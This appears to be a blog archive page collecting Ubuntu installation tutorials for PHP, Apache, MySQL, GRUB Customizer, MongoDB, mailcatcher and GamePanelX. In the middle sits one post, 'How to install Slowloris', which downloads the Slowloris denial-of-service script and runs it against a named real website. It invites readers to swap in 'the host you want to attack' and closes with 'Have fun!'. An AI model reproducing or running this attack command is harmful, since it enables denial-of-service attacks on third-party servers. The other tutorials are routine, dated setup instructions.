Showing posts with label Install. Show all posts
Showing posts with label Install. Show all posts

How To Install PHP5, Apache2, MySQL for UBUNTU

How To Install PHP5, Apache2, MySQL for UBUNTU


Install Apache2, PHP, MySQL
@ANHVNSE02067 - www.nhatanh.net - anhvnse@gmail.com
----------------------------
# Add repository
$ sudo apt-get install python-software-properties
$ sudo add-apt-repository ppa:ondrej/php5-oldstable
$ apt-get update

# Install Apache2
$ sudo apt-get install apache2 

#Install Lastest stable PHP
$ sudo apt-get install php5 libapache2-mod-php5

# Install PHP modules
$ sudo apt-get install php5-mysql php5-curl php5-gd php5-intl php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

# Install MySQL
$ sudo apt-get install mysql-server mysql-client

# Install PHPMyAdmin
$ sudo apt-get install phpmyadmin

#FIX Cannot adopt OID in UCD-SNMP-MIB:
sudo apt-get install snmp-mibs-downloader

#FIX phpmyadmin not found
    Add the following line to the end of /etc/apache2/apache2.conf:
    Include /etc/phpmyadmin/apache.conf
    Restart Apache by running:

#FIX mcrypt is missing
    cd /etc/php5/apache2/conf.d
    sudo ln -s ../../conf.d/mcrypt.ini 30-mcrypt.ini
    sudo service apache2 restart

#INstall Mcrypt
cd /etc/php5/mods-available
ln -sf ../conf.d/mcrypt.ini .
php5enmod mcrypt

# Install php code sniffer
$ sudo pear install PHP_CodeSniffer
# -- follow this: https://github.com/klaussilveira/phpcs-psr
# -- ALT: https://github.com/ANHVNSE02067/phpcs-psr

# Install php mess detector
# Install PHP Depend http://pear.pdepend.org/
# Instal PHP_PMD http://pear.phpmd.org/
# Config PHP_PMD: /usr/share/php/data/PHP_PMD/resources/rulesets/
# Common commands

How to install GRUB Customizer for Ubuntu Backtrack Linux

sudo apt-get install python-software-properties (install only if add-apt-repository doesn't work)
sudo add-apt-repository ppa:danielrichter2007/grub-customizer
sudo apt-get update
sudo apt-get install grub-customizer
gksudo grub-customizer

How to install Slowloris on Linux

How to install Slowloris on Linux


Install perl from your packages, you should find it easily. Note that you need ithreads to be enabled (it should be enabled in most the distributions by default; on gentoo you should add the ithreads USE-flag before (re)installing perl).
Then, you need IO/Socket/SSL, that you should find in your packages or searching on the web. In ubuntu, the package is libio-socket-ssl-perl; on gentoo, it's dev-perl/IO-Socket-SSL.
Then, open a terminal/console and type (or copy-paste):

wget http://ha.ckers.org/slowloris/slowloris.pl
chmod +x slowloris
./slowloris.pl -dns gerdab.ir -port 80 -timeout 2000 -num 500 -tcpto 5

You can replace gerbad.ir with the host you want to attack. You can also replace values for timeout and number of sockets (just by changing the last line), but these options should do it. If you want to run Slowloris again, once it has been installed, just run the last line.
Have fun!

How To install mongodb and php driver in ubuntu 12.10 ?

add mongodb repo in the sources.list:
sudo nano /etc/apt/sources.list

add below:
deb http://downloads-distro.mongodb.org/repo/ubuntu-upstart dist 10gen

add mongodb repo key(make sure port 11371 is open):
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv 7F0CEB10

update repo:
sudo apt-get update

install mongodb:
sudo apt-get install mongodb-10gen

check if mongo process is running:
ps aux | grep mongo

to start, stop, restart mongodb:
sudo service mongodb start
sudo service mongodb stop
sudo service mongodb restart

to test mongo by going mongo command prompt:
mongo

at the mongo prompt:
>show dbs;
> db.test.save( { a: 1 } )
> db.test.find()

install php driver for mongodb:
sudo apt-get install php-pear php5-dev
sudo apt-get install make

check mongo php driver:
pecl search mongo

install mongo php driver:
sudo pecl install mongo

add mongo extension in php.ini:
sudo nano /etc/php5/apache2/php.ini

add below:
extension = mongo.so


-----
note: use mongo command to go to the mongo command shell.

-----
note: install phpmoadmin to administer mongodb.
cd /var/www
sudo wget http://phpmoadmin.com/file/phpmoadmin.zip
sudo unzip phpmoadmin.zip

and then browse to http://localhost/moadmin.php  in the internet browser.

----
note: add this to php.ini  if mongodb is in another server.
[Mongo]
; default host 127.0.0.1
; custom host: the IP address of the database server
mongo.default_host = "xxx.xxx.xxx.xxx"

----
note: if you have problem running mongo then try using below to install:
sudo apt-get install mongodb

Script to install mailcatcher on Debian/Ubuntu without RVM

#!/bin/sh

# Script to install mailcatcher on Debian/Ubuntu without RVM


# install Ruby and rubygems without RVM:
sudo apt-get install ruby rubygems

# update rubygems
sudo gem update --system

# install mailcatcher:
sudo apt-get install libsqlite3-dev
sudo gem install mailcatcher

# done! to start the mailcatcher server
mailcatcher -i 0.0.0.0

# if mailcatcher cannot be found, gem is not in your path;
# add the path found by the following command to `.bashrc` or similar, and
# reload (`source .bashrc`)
gem environment | grep "EXECUTABLE DIRECTORY"

# then just use the following SMTP settings:
#   host : localhost
#   port : 1025
# and visit http://0.0.0.0/1080

Install gamepanelx master on ubuntu 12.10

Install gamepanelx master on ubuntu 12.10


First, install some stuff:
mysql server
apache server
make
unzip
ftp (if you like; i am not describing the usage of proftpd in this tutorial.)
openssh (if you didn't choose at the system installer)
32-bit system libraries (not needed if you installed a 32-bit ubuntu server)

CODE: SELECT ALL
sudo apt-get update
sudo apt-get install mysql-server
sudo apt-get install mysql-client
sudo apt-get install apache2
sudo apt-get install php5
sudo apt-get install proftpd
sudo apt-get install ssh
sudo apt-get install ia32-libs
sudo apt-get install unzip


Download the gamepanelx master files and extracts it, or copy the tar file with WinSCP from a Windows machine:
CODE: SELECT ALL
cd /var/www/
(Check gamepanelx.com for newest version)
wget http://xxx
unzip GamePanelX-Master-v3.0.8.zip


Rename folder and open it:
CODE: SELECT ALL
mv GamePanelX-Master-v3.0.8 gp
cd gp/



Start the installation script with your webbrowser: http://localhost/gp/install/
Follow the installation instruction.



Install gamepanelx remote on ubuntu 12.10 Server:

This Tutorial will show you, how to install the remote part on a ubuntu server, without getting the FTP install error. Don't install gamepanelx remote on the same server as gamepanelx master! User anothe fresh ubuntu 12.10 server, otherwise, gamepanelx remote doesn't work.


First Install gcc, make, 32-bit system libraries and mysql dev-libs:
CODE: SELECT ALL
sudo apt-get update
sudo apt-get install gcc
sudo apt-get install make
sudo apt-get install libmysqlclient15-dev
sudo apt-get install ia32-libs


Open homefolder:
CODE: SELECT ALL
cd /home/username/


Next, download the remotetool or transfer files via WinSCP from a Windows machine to the ubuntu server:
CODE: SELECT ALL
(Check gamepanelx.com for newest version.)
wget http://xxx
tar -zxvf GamePanelX-Remote-3.0.10.tar.gz
mv GamePanelX-Remote-3.0.10 gp
cd gp/
sudo Chmod +x ./install.sh
sudo ./install.sh


Follow the instructions. Done with FTP Installation.


Congratulations! You have now finished a complete installation of:
Ubuntu Server 12.10 with GamePanelx Master
Ubuntu Server 12.10 with GamePanelx Remote

You should now have a minimum amount of two (2) ubuntu servers. You can now login on your master server using the webinterface and configure your gamepanelx, create templates and deplay servers.

If you have any questions, critics, tipps or other things you like to share with me and all readers, feel free to write a comment or mail me. Thanks for reading.


Stefan.